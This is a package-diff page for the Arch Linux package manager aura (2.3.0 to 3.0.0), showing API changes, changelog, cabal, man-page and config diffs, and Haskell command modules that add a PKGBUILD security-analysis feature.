packages feed

aura 2.3.0 → 3.0.0

raw patch · 43 files changed

+2244/−1548 lines, 43 filesdep −unliftiodep ~megaparsecdep ~tastydep ~versionsPVP ok

version bump matches the API change (PVP)

Dependencies removed: unliftio

Dependency ranges changed: megaparsec, tasty, versions

API changes (from Hackage documentation)

- Aura.Commands.A: aurJson :: NonEmpty PkgName -> RIO Env ()
- Aura.Commands.A: aurPkgInfo :: NonEmpty PkgName -> RIO Env ()
- Aura.Commands.A: aurPkgSearch :: Text -> RIO Env ()
- Aura.Commands.A: displayPkgDeps :: NonEmpty PkgName -> RIO Env ()
- Aura.Commands.A: displayPkgbuild :: NonEmpty PkgName -> RIO Env ()
- Aura.Commands.A: fetchTarball :: NonEmpty PkgName -> RIO Env ()
- Aura.Commands.A: install :: NonEmpty PkgName -> RIO Env ()
- Aura.Commands.A: upgradeAURPkgs :: Set PkgName -> RIO Env ()
- Aura.Commands.B: cleanStates :: Settings -> Word -> IO ()
- Aura.Commands.B: listStates :: IO ()
- Aura.Commands.B: restoreState :: RIO Env ()
- Aura.Commands.B: saveState :: Settings -> IO ()
- Aura.Commands.C: backupCache :: FilePath -> RIO Env ()
- Aura.Commands.C: cleanCache :: Word -> RIO Env ()
- Aura.Commands.C: cleanNotSaved :: RIO Env ()
- Aura.Commands.C: downgradePackages :: NonEmpty PkgName -> RIO Env ()
- Aura.Commands.C: searchCache :: Text -> RIO Env ()
- Aura.Commands.L: logInfoOnPkg :: NonEmpty PkgName -> RIO Env ()
- Aura.Commands.L: searchLogFile :: Settings -> Text -> IO ()
- Aura.Commands.L: viewLogFile :: RIO Env ()
- Aura.Commands.O: adoptPkg :: NonEmpty PkgName -> RIO Env ()
- Aura.Commands.O: displayOrphans :: IO ()
- Aura.Core: packageBuildable :: Settings -> Buildable -> IO Package
- Aura.Diff: diff :: MonadIO m => Settings -> FilePath -> FilePath -> m ()
- Aura.Pacman: Config :: Map Text [Text] -> Config
- Aura.Pacman: config :: Parsec Void Text Config
- Aura.Pacman: instance GHC.Show.Show Aura.Pacman.Config
- Aura.Pacman: newtype Config
- Aura.Pkgbuild.Base: pkgbuildCache :: FilePath
- Aura.Pkgbuild.Base: pkgbuildPath :: PkgName -> FilePath
- Aura.Pkgbuild.Editing: hotEdit :: Settings -> Buildable -> IO Buildable
- Aura.Settings: UseCustomizepkg :: BuildSwitch
+ Aura.Build: srcPkgStore :: FilePath
+ Aura.Build: vcsStore :: FilePath
+ Aura.Core: diff :: MonadIO m => Settings -> FilePath -> FilePath -> m ()
+ Aura.Core: isDevelPkg :: PkgName -> Bool
+ Aura.Pkgbuild.Records: pkgbuildPath :: PkgName -> FilePath
+ Aura.Security: analysePkgbuild :: Buildable -> RIO Env ()
+ Aura.Security: displayBannedTerms :: Settings -> (ShellCommand, BannedTerm) -> IO ()
+ Aura.Settings: [allsourcePathOf] :: BuildConfig -> !Maybe FilePath
+ Aura.Settings: [vcsPathOf] :: BuildConfig -> !Maybe FilePath
+ Aura.Settings: allsourcePathOfL :: Lens' BuildConfig (Maybe FilePath)
+ Aura.Settings: buildPathOfL :: Lens' BuildConfig (Maybe FilePath)
+ Aura.Settings: buildSwitchesOfL :: Lens' BuildConfig (Set BuildSwitch)
+ Aura.Settings: buildUserOfL :: Lens' BuildConfig (Maybe User)
+ Aura.Settings: cachePathOfL :: Lens' CommonConfig (Either FilePath FilePath)
+ Aura.Settings: logPathOfL :: Lens' CommonConfig (Either FilePath FilePath)
+ Aura.Settings: vcsPathOfL :: Lens' BuildConfig (Maybe FilePath)
+ Aura.Settings.External: AuraConfig :: Maybe Language -> Maybe FilePath -> Maybe User -> Maybe FilePath -> Maybe FilePath -> Maybe FilePath -> Maybe BuildSwitch -> AuraConfig
+ Aura.Settings.External: Config :: Map Text [Text] -> Config
+ Aura.Settings.External: [acASPath] :: AuraConfig -> Maybe FilePath
+ Aura.Settings.External: [acAnalyse] :: AuraConfig -> Maybe BuildSwitch
+ Aura.Settings.External: [acBuildPath] :: AuraConfig -> Maybe FilePath
+ Aura.Settings.External: [acEditor] :: AuraConfig -> Maybe FilePath
+ Aura.Settings.External: [acLang] :: AuraConfig -> Maybe Language
+ Aura.Settings.External: [acUser] :: AuraConfig -> Maybe User
+ Aura.Settings.External: [acVCSPath] :: AuraConfig -> Maybe FilePath
+ Aura.Settings.External: auraConfig :: Config -> AuraConfig
+ Aura.Settings.External: config :: Parsec Void Text Config
+ Aura.Settings.External: data AuraConfig
+ Aura.Settings.External: defaultAuraConf :: FilePath
+ Aura.Settings.External: getAuraConf :: FilePath -> IO Config
+ Aura.Settings.External: instance GHC.Show.Show Aura.Settings.External.AuraConfig
+ Aura.Settings.External: instance GHC.Show.Show Aura.Settings.External.Config
+ Aura.Settings.External: newtype Config
+ Aura.Utils: edit :: FilePath -> FilePath -> IO ()
- Aura.Build: buildPackages :: NonEmpty Buildable -> RIO Env (NonEmpty PackagePath)
+ Aura.Build: buildPackages :: NonEmpty Buildable -> RIO Env [PackagePath]
- Aura.Languages: bt :: Text -> Doc AnsiStyle
+ Aura.Languages: bt :: Pretty a => a -> Doc AnsiStyle
- Aura.Settings: BuildConfig :: !Set Makepkg -> !FilePath -> !Maybe User -> !Truncation -> !Set BuildSwitch -> BuildConfig
+ Aura.Settings: BuildConfig :: !Set Makepkg -> !Maybe FilePath -> !Maybe User -> !Maybe FilePath -> !Maybe FilePath -> !Truncation -> !Set BuildSwitch -> BuildConfig
- Aura.Settings: [buildPathOf] :: BuildConfig -> !FilePath
+ Aura.Settings: [buildPathOf] :: BuildConfig -> !Maybe FilePath

Files

CHANGELOG.md view
@@ -1,5 +1,47 @@ # Aura Changelog +## 3.0.0 (2020-05-20)++#### Added++- **Aura is now configurable via a conf file!** Aura expects it at+  `/etc/aura.conf`, but will not break if it's missing. If you install Aura via+  its AUR package, this file will be installed for you automatically.+- **A new top-level command: `-P`**. This allows users to analyse PKGBUILD+  files manually, as is usually done during building.+  - `-Pf` accepts a path to a PKGBUILD.+  - `-Pd` accepts a path to a directory containing a PKGBUILD.+  - `-Pa` to scan the PKGBUILDs of all locally installed AUR packages.+  - `-P` on its own will read from stdin. Combine this with `-Ap` to pull from the AUR:+```+> aura -Ap myget | aura -P++    sudo pacman -S aurvote++aura >>= sudo indicates that someone may be trying to gain root access to your machine.+aura >>= Potential PKGBUILD vulnerabilities detected.+```+- A new flag `--vcspath` to accompany the new VCS build behaviour (see below).+- A new flag `--allsourcepath` to accompany the restored `--allsource`+  functionality (see below).+- `-O --adopt` can now be called as `-Oa`.++#### Changed++- VCS packages (e.g. `*-git`, `*-svn`, etc.) and their cloned sources are now+  built and stored in `/var/cache/aura/vcs`. **Subsequent builds will no longer+  reclone everything.** [#462](https://github.com/fosskers/aura/issues/462)+- `--hotedit` will now offer to edit `.install` and `.patch` files. [#208](https://github.com/fosskers/aura/issues/208)+- Some modules have been renamed and moved around.+- `Aura.Diff` and `Aura.Pkgbuild.Base` have had their contents folded into other+  modules.++#### Fixed++- A regression that broke `-Bc`. [#592](https://github.com/fosskers/aura/issues/592)+- The functionality of `--allsource` has been restored. [#538](https://github.com/fosskers/aura/issues/538)+- A minor difference in the behaviour of `-Ss` relative to `pacman`. [#599](https://github.com/fosskers/aura/issues/599)+ ## 2.3.0 (2020-04-22)  #### Added
aura.cabal view
@@ -1,6 +1,6 @@ cabal-version:      2.2 name:               aura-version:            2.3.0+version:            3.0.0 synopsis:           A secure package manager for Arch Linux and the AUR. description:   Aura is a package manager for Arch Linux. It connects to both the@@ -20,8 +20,12 @@   README.md   CHANGELOG.md   doc/aura.8+  doc/aura.conf   doc/completions/bashcompletion.sh   doc/completions/_aura+  test/pacman.conf+  test/good.PKGBUILD+  test/bad.PKGBUILD  common commons   default-language:   Haskell2010@@ -38,16 +42,20 @@     , base        >=4.12   && <5     , bytestring  ^>=0.10     , containers  ^>=0.6+    , megaparsec  >=7      && <9     , microlens   ^>=0.4     , rio         ^>=0.1.13     , text        ^>=1.2-    , versions    ^>=3.5+    , versions    ^>=3.5.4  common libexec   build-depends:+    , aeson                        >=1.2 && <1.5+    , aur                          ^>=7.0     , http-client                  >=0.5 && <0.7     , prettyprinter                >=1.2 && <1.7     , prettyprinter-ansi-terminal  ^>=1.1+    , scheduler                    >=1.1 && <1.5     , transformers                 ^>=0.5     , typed-process                ^>=0.2 @@ -58,16 +66,10 @@     Aura.Build     Aura.Cache     Aura.Colour-    Aura.Commands.A-    Aura.Commands.B-    Aura.Commands.C-    Aura.Commands.L-    Aura.Commands.O     Aura.Core     Aura.Dependencies-    Aura.Diff-    Aura.Install     Aura.IO+    Aura.Install     Aura.Languages     Aura.Languages.Fields     Aura.Logo@@ -75,38 +77,39 @@     Aura.Packages.AUR     Aura.Packages.Repository     Aura.Pacman-    Aura.Pkgbuild.Base-    Aura.Pkgbuild.Editing     Aura.Pkgbuild.Fetch     Aura.Pkgbuild.Records     Aura.Pkgbuild.Security+    Aura.Security     Aura.Settings+    Aura.Settings.External     Aura.Shell     Aura.State     Aura.Types     Aura.Utils    build-depends:-    , aeson             >=1.2  && <1.5-    , algebraic-graphs  >=0.1  && <0.6-    , aur               ^>=7.0+    , algebraic-graphs  >=0.1 && <0.6     , filepath          ^>=1.4-    , hashable          ^>= 1.3-    , http-types        >=0.9  && <0.13-    , language-bash     >=0.8  && <0.10-    , megaparsec        >=7    && <9+    , hashable          ^>=1.3+    , http-types        >=0.9 && <0.13+    , language-bash     >=0.8 && <0.10     , network-uri       ^>=2.6-    , scheduler         >=1.1  && <1.5     , stm               ^>=2.5-    , time              >=1.8  && <1.10-    , unliftio          ^>=0.2+    , time              >=1.8 && <1.10  executable aura   import:         commons, libexec   main-is:        aura.hs   other-modules:-    Flags-    Settings+    Aura.Commands.A+    Aura.Commands.B+    Aura.Commands.C+    Aura.Commands.L+    Aura.Commands.O+    Aura.Commands.P+    Aura.Flags+    Aura.Settings.Runtime    hs-source-dirs: exec   ghc-options:    -threaded -O2 -with-rtsopts=-N@@ -123,6 +126,5 @@   ghc-options:    -threaded -with-rtsopts=-N   build-depends:     , aura-    , megaparsec-    , tasty        >=0.11 && <1.3+    , tasty        >=0.11 && <1.4     , tasty-hunit  >=0.9  && <0.11
doc/aura.8 view
@@ -1,7 +1,7 @@ .\" Man page for `aura` .\" Written by Colin Woodbury <colin@fosskers.ca> -.TH aura 8 "January 2020" "Aura" "Aura Manual"+.TH aura 8 "2020 May" "Aura" "Aura Manual"  .\" Disable hyphenation. .nh@@ -15,12 +15,10 @@ .SH DESCRIPTION .P \fIaura\fR is a secure, multilingual package manager for Arch Linux written in-Haskell.-It connects to both the official Arch repositories and to the Arch User+Haskell. It connects to both the official Arch repositories and to the Arch User Repositories (AUR), allowing easy control of all packages on an Arch system.-Aura can also be used to build Arch Build System (ABS) packages from source. Aura allows \fIall\fR pacman operations and provides \fInew\fR custom ones for-dealing with AUR and ABS packages.+dealing with AUR packages.  .SH OPERATIONS .P@@ -57,6 +55,16 @@ installed as dependencies, but are no longer required by any other package. Default action is to list the current orphans. .RE+.P+\fB\-P\fR, \-\-analysis <stdin>+.RS 4+Perform security analysis of a [P]KGBUILD. Useful for package maintainers and+sysadmins to verify the safety of the PKGBUILD files that they write. To test+any package on the AUR, try the following:+.P+.RS 4+aura -Ap <package> | aura -P+.RE  .SH AUR SYNC OPTIONS (\fI\-A\fR) .P@@ -129,27 +137,22 @@ Query the AUR RPC for package info as raw JSON. Good for debugging. .RE .P-\fB\-\-build\fR=/path/+\fB\-\-build\fR <path> .RS 4 Specify build path when building AUR packages. Only the \fIfull\fR path of a pre-existing directory can be used. Example:-.RS 6-"aura -A foo --build=/full/path/to/build/location/"+.P+.RS 4+aura -A foo --build=/full/path/to/build/location/ .RE .RE .P-\fB\-\-builduser\fR=username+\fB\-\-builduser\fR <username> .RS 4 Specify the user to build packages as. This can be useful when logged in as root and a build user is available. .RE .P-\fB\-\-custom\fR-.RS 4-Run \fIcustomizepkg\fR on packages before building. Note that you need-customizepkg installed and set up correctly for this to work.-.RE-.P \fB\-\-devel\fR .RS 4 When ran with \fI\-Au\fR, adds all development packages to the queue of@@ -164,20 +167,31 @@ with \fI\-M\fR. .RE .P+\fB\-\-force\fR+.RS 4+Always (re)build the specified packages. Usually Aura will not rebuild packages+whose versions are already available in the local package cache.+.RE+.P \fB\-\-hotedit\fR .RS 4-Prompt the user immediately before dependency checks to ask if they wish to-view/edit the PKGBUILD.-This is not default behavior and thus does not have a single\-letter option.-Research into packages (and by extension, their PKGBUILDs) should be done-before any building occurs. Please use \fI\-Ap\fR and \fI\-Ad\fR for this, as-they will be much faster at presenting information than searching the AUR-website manually.-Note that, since aura is run through sudo, your local value of $EDITOR may not-be preserved. Run as "sudo \fI\-E\fR aura -A --hotedit ..." to preserve your-environment. To always allow environment variables to be passed, have a look at-the \fIenv_reset\fR and \fIenv_keep\fR options in \fBsudoers\fR(5).+Prompt the user before building to ask if they wish to view/edit the PKGBUILD,+as well as any .install or .patch files. This is not default behavior and thus+does not have a single\-letter option. Research into packages (and by extension,+their PKGBUILDs) should be done before any building occurs. Please use+\fI\-Ap\fR and \fI\-Ad\fR for this, as they will be much faster at presenting+information than searching the AUR website manually. Note that, since aura is+run through sudo, your local value of $EDITOR may not be preserved. Run as "sudo+\fI\-E\fR aura -A --hotedit ..." to preserve your environment. To always allow+environment variables to be passed, have a look at the \fIenv_reset\fR and+\fIenv_keep\fR options in \fBsudoers\fR(5). .RE+.P+\fB\-\-vcspath <path>\fR+.RS 4+Save the cloned sources of VCS packages (i.e. those that end in \fI*-git\fR, etc.)+in the given location, instead of the default \fI/var/cache/aura/vcs/\fR.+.RE  .SH GLOBAL PACKAGE STATE OPTIONS (\fI\-B\fR) .P@@ -193,6 +207,11 @@ were upgraded since the chosen save. Will remove any that weren't installed at the time. .RE+.P+\fB\-l\fR, \-\-list\fR+.RS 4+Show all saved package state filenames.+.RE  .SH DOWNGRADE OPTIONS (\fI\-C\fR) .P@@ -244,7 +263,7 @@  .SH ORPHAN PACKAGE OPTIONS (\fI\-O\fR) .P-\fB\-\-adopt <package(s)>+\fB\-a\fR, \-\-adopt <package(s)> .RS 4 Mark a package as being explicitly installed (i.e. it's not a dependency). .RE@@ -253,6 +272,21 @@ .RS 4 Uninstall all orphan packages. .RE+.SH ANALYSIS OPTIONS (\fI\-P\fR)+.P+\fB\-f\fR, \-\-file <path>+.RS 4+Analyse a given PKGBUILD.+.RE+\fB\-d\fR, \-\-dir <path>+.RS 4+Analyse a PKGBUILD found in the specified directory.+.RE+.P+\fB\-a\fR, \-\-audit+.RS 4+Analyse the PKGBUILDs of all locally installed AUR packages.+.RE  .SH PACMAN / AURA DUAL FUNCTIONALITY OPTIONS .P@@ -272,6 +306,19 @@ .RS 4 View some handy debugging information. .RE+.P+\-\-color [mode]+.RS 4+Whether or not to colour output text. Without this flag, both Aura and Pacman+will attempt to colour text if the terminal allows it. Otherwise, you can pass+\fInever\fR or \fIalways\fR to be specific about your wants.+.RE+.P+\-\-overwrite <glob>+.RS 4+If there are file conflicts during installation, overwrite conflicting files+that match the given glob pattern.+.RE  .SH EXPOSED MAKEPKG OPTIONS .P@@ -282,9 +329,15 @@ .P \-\-allsource .RS 4-Creates a \fI.src\fR file containing all the downloaded sources (code, etc)-and stores it at \fI/var/cache/aura/src/\fR.+Creates a \fI.src\fR file containing all the downloaded sources (code, etc) and+stores it at \fI/var/cache/aura/src/\fR. To change the location where sources+are stored, use the \fI\-\-allsourcepath\fR flag. .RE+.P+\-\-skipinteg+.RS 4+Skip package source integrity checks.+.RE  .SH LANGUAGE OPTIONS .P@@ -317,6 +370,14 @@ \-\-serbian, \-\-српски .P \-\-norwegian, \-\-norsk+.P+\-\-indonesian+.P+\-\-chinese, \-\-中文+.P+\-\-esperanto+.P+\-\-dutch, \-\-nederlands  .SH PRO TIPS .P@@ -348,11 +409,10 @@  .SH BUGS .P-It is not recommended to install non-ABS, non-AUR packages with pacman or aura.-Aura will assume they are AUR packages during a `-Au` and attempt to upgrade-them. If a name collision occurs (that is, if there is a legitimate AUR package-with the same name as the one you installed) previous installations could be-overwritten.+It is not recommended to install non-AUR packages with pacman or aura. Aura will+assume they are AUR packages during a \fI\-Au\fR and attempt to upgrade them. If+a name collision occurs (that is, if there is a legitimate AUR package with the+same name as the one you installed) previous installations could be overwritten.  .SH AUTHOR .P@@ -376,41 +436,23 @@  .SH TRANSLATORS .P-(   Polish   ) Chris "Kwpolska" Warrick-.P-(  Croatian  ) Denis Kasak-.P-(  Croatian  ) "stranac"+(   Polish   ) Chris Warrick .P-(  Swedish   ) Fredrik Haikarainen+(  Croatian  ) Denis Kasak and "stranac" .P-(  Swedish   ) Daniel Beecham+(  Swedish   ) Fredrik Haikarainen and Daniel Beecham .P (   German   ) Lukas Niederbremer .P-(  Spanish   ) Alejandro Gómez-.P-(  Spanish   ) Sergio Conde-.P-(  Spanish   ) Max Ferrer-.P-( Portuguese ) Henry "Ingvij" Kupty-.P-( Portuguese ) Thiago "thiagowfx" Perrotta-.P-( Portuguese ) Wagner Amaral-.P-(   French   ) Ma Jiehong-.P-(   French   ) Fabien Dubosson+(  Spanish   ) Alejandro Gómez, Sergio Conde, and Max Ferrer .P-(  Russian   ) Kyrylo Silin+( Portuguese ) Henry Kupty, Thiago Perrotta, and Wagner Amaral .P-(  Russian   ) Alexey Kotlyarov+(   French   ) Ma Jiehong and Fabien Dubosson .P-(  Italian   ) Bob Valantin+(  Russian   ) Kyrylo Silin and Alexey Kotlyarov .P-(  Italian   ) Cristian Tentella+(  Italian   ) Bob Valantin and Cristian Tentella .P (  Serbian   ) Filip Brcic .P@@ -422,6 +464,6 @@ .P ( Japanese   ) Onoue Takuro .P-( Esperanto  ) Zachary "Ghosy" Matthews+( Esperanto  ) Zachary Matthews .P (   Dutch    ) Joris Blanken
+ doc/aura.conf view
@@ -0,0 +1,62 @@+# --- Aura Config --- #+#+# Template updated on: Mon 11 May 2020+#+# You can uncomment the various settings below in order to activate them.+# Otherwise, Aura will use its internal defaults.++# --- Language --- #+# Aura can be used in different human languages. This field must be a 2-letter+# language code, similar to those used in LOCALE. The available codes are:+#+# |------+------------|+# | Code | Language   |+# |------+------------|+# | nl   | Dutch      |+# | en   | English    |+# | de   | German     |+# | nb   | Norwegian  |+# | sv   | Swedish    |+# |------+------------|+# | fr   | French     |+# | it   | Italian    |+# | pt   | Portuguese |+# | es   | Spanish    |+# |------+------------|+# | hr   | Croatian   |+# | pl   | Polish     |+# | ru   | Russian    |+# | sr   | Serbian    |+# |------+------------|+# | zh   | Chinese    |+# | id   | Indonesian |+# | ja   | Japanese   |+# |------+------------|+# | eo   | Esperanto  |+# |------+------------|++# Uncomment to activate:+# language = en++# --- Build Settings --- #+# Aura runs via `sudo` but builds packages as the underlying non-root user.+# Here, you can alter who that user is, and where packages are built.++# Uncomment to activate:+# user = YOU+# buildpath = /tmp+# allsourcepath = /var/cache/aura/src+# vcspath = /var/cache/aura/vcs++# --- PKGBUILD Analysis --- #+# Aura automatically scans PKGBUILDs for malicious bash usage and other "bad+# practices". Here, you can turn those scans off.++# Uncomment to activate:+# analyse = True++# --- Misc. --- #++# The editor to use with `--hotedit`.+# Uncomment to activate:+# editor = vi
doc/completions/_aura view
@@ -144,7 +144,6 @@     '*--aurignore[Ignore AUR packages when installing]:package: _aura_completions_aur_packages'     '--build[Build packages in specified path]'     '--builduser[Use specified user to build packages]'-    '--custom[Run customizepkg]'     {--dev,--devel}'[With -Au, also upgrades all development packages]'     "--dryrun[Perform checks, but don't build]"     '--hotedit[Prompt user to edit PKGBUILD before dep checks]'
+ exec/Aura/Commands/A.hs view
@@ -0,0 +1,225 @@+{-# LANGUAGE BangPatterns #-}+{-# LANGUAGE LambdaCase   #-}++-- |+-- Module    : Aura.Commands.A+-- Copyright : (c) Colin Woodbury, 2012 - 2020+-- License   : GPL3+-- Maintainer: Colin Woodbury <colin@fosskers.ca>+--+-- Handle all @-A@ flags - those which involve viewing and building packages+-- from the AUR.++module Aura.Commands.A+  ( I.install+  , upgradeAURPkgs+  , aurPkgInfo+  , aurPkgSearch+  , I.displayPkgDeps+  , displayPkgbuild+  , aurJson+  , fetchTarball+  ) where++import           Aura.Colour+import           Aura.Core+import qualified Aura.Install as I+import           Aura.IO+import           Aura.Languages+import           Aura.Packages.AUR+import           Aura.Pkgbuild.Fetch+import           Aura.Settings+import           Aura.State (saveState)+import           Aura.Types+import           Aura.Utils+import           Data.Aeson+import           Data.Text.Prettyprint.Doc+import           Data.Text.Prettyprint.Doc.Render.Terminal+import           Data.Versions (Versioning, prettyV, versioning)+import           Linux.Arch.Aur+import           Network.HTTP.Client (Manager)+import           RIO+import qualified RIO.ByteString as B+import qualified RIO.ByteString.Lazy as BL+import qualified RIO.List as L+import           RIO.List.Partial (maximum)+import qualified RIO.NonEmpty as NEL+import qualified RIO.Set as S+import qualified RIO.Text as T+import           RIO.Text.Partial (splitOn)+import           Text.Printf (printf)++---++-- | The result of @-Au@.+upgradeAURPkgs :: Set PkgName -> RIO Env ()+upgradeAURPkgs pkgs = do+  ss <- asks settings+  notify ss upgradeAURPkgs_1+  fs <- liftIO (foreigns ss)+  traverse_ (upgrade pkgs) $ nes fs++-- | Foreign packages to consider for upgrading, after "ignored packages" have+-- been taken into consideration.+foreigns :: Settings -> IO (Set SimplePkg)+foreigns ss = S.filter (notIgnored . spName) <$> foreignPackages+  where notIgnored p = not . S.member p $ ignoresOf ss++upgrade :: Set PkgName -> NonEmpty SimplePkg -> RIO Env ()+upgrade pkgs fs = do+  logDebug $ "Considering " <> display (NEL.length fs) <> " 'foreign' packages for upgrade."+  unless (null pkgs)+    $ logDebug $ "Also installing " <> display (S.size pkgs) <> " other packages."+  ss        <- asks settings+  toUpgrade <- possibleUpdates fs+  logDebug $ "Potential upgrades: " <> display (length toUpgrade)+  let !names = map (PkgName . aurNameOf . fst) toUpgrade+  auraFirst <- auraCheck names+  logDebug $ "Upgrade Aura first? ... " <> maybe "No." (const "Yes!") auraFirst+  case auraFirst of+    Just a  -> auraUpgrade a+    Nothing -> do+      devel <- develPkgCheck+      notify ss upgradeAURPkgs_2+      if null toUpgrade && null devel+        then warn ss upgradeAURPkgs_3+        else do+          reportPkgsToUpgrade toUpgrade (toList devel)+          liftIO . unless (switch ss DryRun) $ saveState ss+          traverse_ I.install . nes $ S.fromList names <> pkgs <> devel++possibleUpdates :: NonEmpty SimplePkg -> RIO Env [(AurInfo, Versioning)]+possibleUpdates pkgs = do+  aurInfos <- aurInfo $ fmap spName pkgs+  let !names  = map aurNameOf aurInfos+      aurPkgs = NEL.filter (\(SimplePkg (PkgName n) _) -> n `elem` names) pkgs+  logDebug "Package lookup successful."+  pure . filter isntMostRecent . zip aurInfos $ map spVersion aurPkgs++-- | Is there an update for Aura that we could apply first?+auraCheck :: [PkgName] -> RIO Env (Maybe PkgName)+auraCheck ps = join <$> traverse f auraPkg+  where+    f :: a -> RIO Env (Maybe a)+    f a = do+      ss <- asks settings+      bool Nothing (Just a) <$> liftIO (optionalPrompt ss auraCheck_1)++    auraPkg :: Maybe PkgName+    auraPkg | "aura" `elem` ps     = Just "aura"+            | "aura-bin" `elem` ps = Just "aura-bin"+            | otherwise            = Nothing++auraUpgrade :: PkgName -> RIO Env ()+auraUpgrade = I.install . pure++develPkgCheck :: RIO Env (Set PkgName)+develPkgCheck = asks settings >>= \ss ->+  if switch ss RebuildDevel then liftIO develPkgs else pure S.empty++-- | The result of @-Ai@.+aurPkgInfo :: NonEmpty PkgName -> RIO Env ()+aurPkgInfo = aurInfo >=> traverse_ displayAurPkgInfo++displayAurPkgInfo :: AurInfo -> RIO Env ()+displayAurPkgInfo ai = asks settings >>= \ss -> putTextLn $ renderAurPkgInfo ss ai <> "\n"++renderAurPkgInfo :: Settings -> AurInfo -> Text+renderAurPkgInfo ss ai = dtot . colourCheck ss $ entrify ss fields entries+    where fields   = infoFields . langOf $ ss+          entries = [ magenta "aur"+                    , annotate bold . pretty $ aurNameOf ai+                    , pretty $ aurVersionOf ai+                    , outOfDateMsg (dateObsoleteOf ai) $ langOf ss+                    , orphanedMsg (aurMaintainerOf ai) $ langOf ss+                    , cyan . maybe "(null)" pretty $ urlOf ai+                    , pretty . pkgUrl . PkgName $ aurNameOf ai+                    , pretty . T.unwords $ licenseOf ai+                    , pretty . T.unwords $ dependsOf ai+                    , pretty . T.unwords $ makeDepsOf ai+                    , yellow . pretty $ aurVotesOf ai+                    , yellow . pretty . T.pack . printf "%0.2f" $ popularityOf ai+                    , maybe "(null)" pretty $ aurDescriptionOf ai ]++-- | The result of @-As@.+aurPkgSearch :: Text -> RIO Env ()+aurPkgSearch regex = do+  ss <- asks settings+  db <- S.map (pnName . spName) <$> liftIO foreignPackages+  let t = case truncationOf $ buildConfigOf ss of  -- Can't this go anywhere else?+            None   -> id+            Head n -> take $ fromIntegral n+            Tail n -> reverse . take (fromIntegral n) . reverse+  results <- fmap (\x -> (x, aurNameOf x `S.member` db)) . t+            <$> aurSearch regex+  traverse_ (putTextLn . renderSearch ss regex) results++renderSearch :: Settings -> Text -> (AurInfo, Bool) -> Text+renderSearch ss r (i, e) = searchResult+    where searchResult = if switch ss LowVerbosity then sparseInfo else dtot $ colourCheck ss verboseInfo+          sparseInfo   = aurNameOf i+          verboseInfo  = repo <> n <+> v <+> "(" <> l <+> "|" <+> p <>+                         ")" <> (if e then annotate bold " [installed]" else "") <> "\n    " <> d+          repo = magenta "aur/"+          n = fold . L.intersperse (bCyan $ pretty r) . map (annotate bold . pretty) . splitOn r $ aurNameOf i+          d = maybe "(null)" pretty $ aurDescriptionOf i+          l = yellow . pretty $ aurVotesOf i  -- `l` for likes?+          p = yellow . pretty . T.pack . printf "%0.2f" $ popularityOf i+          v = case dateObsoleteOf i of+            Just _  -> red . pretty $ aurVersionOf i+            Nothing -> green . pretty $ aurVersionOf i++-- | The result of @-Ap@.+displayPkgbuild :: NonEmpty PkgName -> RIO Env ()+displayPkgbuild ps = do+  man <- asks (managerOf . settings)+  pbs <- catMaybes <$> traverse (liftIO . getPkgbuild man) (toList ps)+  traverse_ ((\p -> B.putStr p >> B.putStr "\n") . pkgbuild) pbs++isntMostRecent :: (AurInfo, Versioning) -> Bool+isntMostRecent (ai, v) = trueVer > Just v+  where trueVer = hush . versioning $ aurVersionOf ai++-- | Similar to @-Ai@, but yields the raw data as JSON instead.+aurJson :: NonEmpty PkgName -> RIO Env ()+aurJson ps = do+  m <- asks (managerOf . settings)+  infos <- liftMaybeM (Failure connectFailure_1) . fmap hush . liftIO $ f m ps+  traverse_ (BL.putStrLn . encode) infos+  where+    f :: Manager -> NonEmpty PkgName -> IO (Either AurError [AurInfo])+    f m = info m . map pnName . NEL.toList++-- | @https://aur.archlinux.org/cgit/aur.git/snapshot/aura-bin.tar.gz@+fetchTarball :: NonEmpty PkgName -> RIO Env ()+fetchTarball ps = do+  ss <- asks settings+  traverse_ (liftIO . g ss) ps+  where+    f :: PkgName -> String+    f (PkgName p) =+      "https://aur.archlinux.org/cgit/aur.git/snapshot/" <> T.unpack p <> ".tar.gz"++    g :: Settings -> PkgName -> IO ()+    g ss p@(PkgName pn) = urlContents (managerOf ss) (f p) >>= \case+      Nothing -> warn ss $ missingPkg_5 p+      Just bs -> writeFileBinary (T.unpack pn <> ".tar.gz") bs++------------+-- REPORTING+------------+reportPkgsToUpgrade :: [(AurInfo, Versioning)] -> [PkgName] -> RIO Env ()+reportPkgsToUpgrade ups pns = do+  ss <- asks settings+  notify ss reportPkgsToUpgrade_1+  liftIO $ putDoc (colourCheck ss . vcat $ map f ups' <> map g devels) >> putTextLn "\n"+  where devels   = map pnName pns+        ups'     = map (second prettyV) ups+        nLen     = maximum $ map (T.length . aurNameOf . fst) ups <> map T.length devels+        vLen     = maximum $ map (T.length . snd) ups'+        g        = annotate (color Cyan) . pretty+        f (p, v) = hsep [ cyan . fill nLen . pretty $ aurNameOf p+                        , "::"+                        , yellow . fill vLen $ pretty v+                        , "->"+                        , green . pretty $ aurVersionOf p ]
+ exec/Aura/Commands/B.hs view
@@ -0,0 +1,53 @@+{-# LANGUAGE TupleSections #-}+{-# LANGUAGE ViewPatterns  #-}++-- |+-- Module    : Aura.Commands.B+-- Copyright : (c) Colin Woodbury, 2012 - 2020+-- License   : GPL3+-- Maintainer: Colin Woodbury <colin@fosskers.ca>+--+-- Handle all @-B@ flags - those which involve saved package states.++module Aura.Commands.B+  ( saveState+  , restoreState+  , cleanStates+  , listStates+  ) where++import           Aura.Core (warn)+import           Aura.IO+import           Aura.Languages+import           Aura.Settings+import           Aura.State+import           RIO+import           RIO.Directory+import           RIO.FilePath+import qualified RIO.List as L+import qualified RIO.NonEmpty as NEL+import qualified RIO.Text as T++---++-- | Remove all but the newest @n@ package states. Any "pinned" states will also remain.+cleanStates :: Settings -> Word -> IO ()+cleanStates ss (fromIntegral -> n) = do+  stfs <- reverse <$> getStateFiles+  (pinned, others) <- L.partition p <$> traverse (\sf -> (sf,) <$> readState sf) stfs+  warn ss $ cleanStates_4 (length stfs)+  unless (null pinned) . warn ss $ cleanStates_6 (length pinned)+  forM_ (NEL.nonEmpty stfs) $ \stfs' -> do+    let mostRecent = T.pack . takeFileName $ NEL.head stfs'+    warn ss $ cleanStates_5 mostRecent+  okay <- optionalPrompt ss $ cleanStates_2 n+  if not okay+    then warn ss cleanStates_3+    else traverse_ (removeFile . fst) . drop n $ others+  where+    p :: (a, Maybe PkgState) -> Bool+    p = maybe False pinnedOf . snd++-- | The result of @-Bl@.+listStates :: IO ()+listStates = getStateFiles >>= traverse_ (putTextLn . T.pack)
+ exec/Aura/Commands/C.hs view
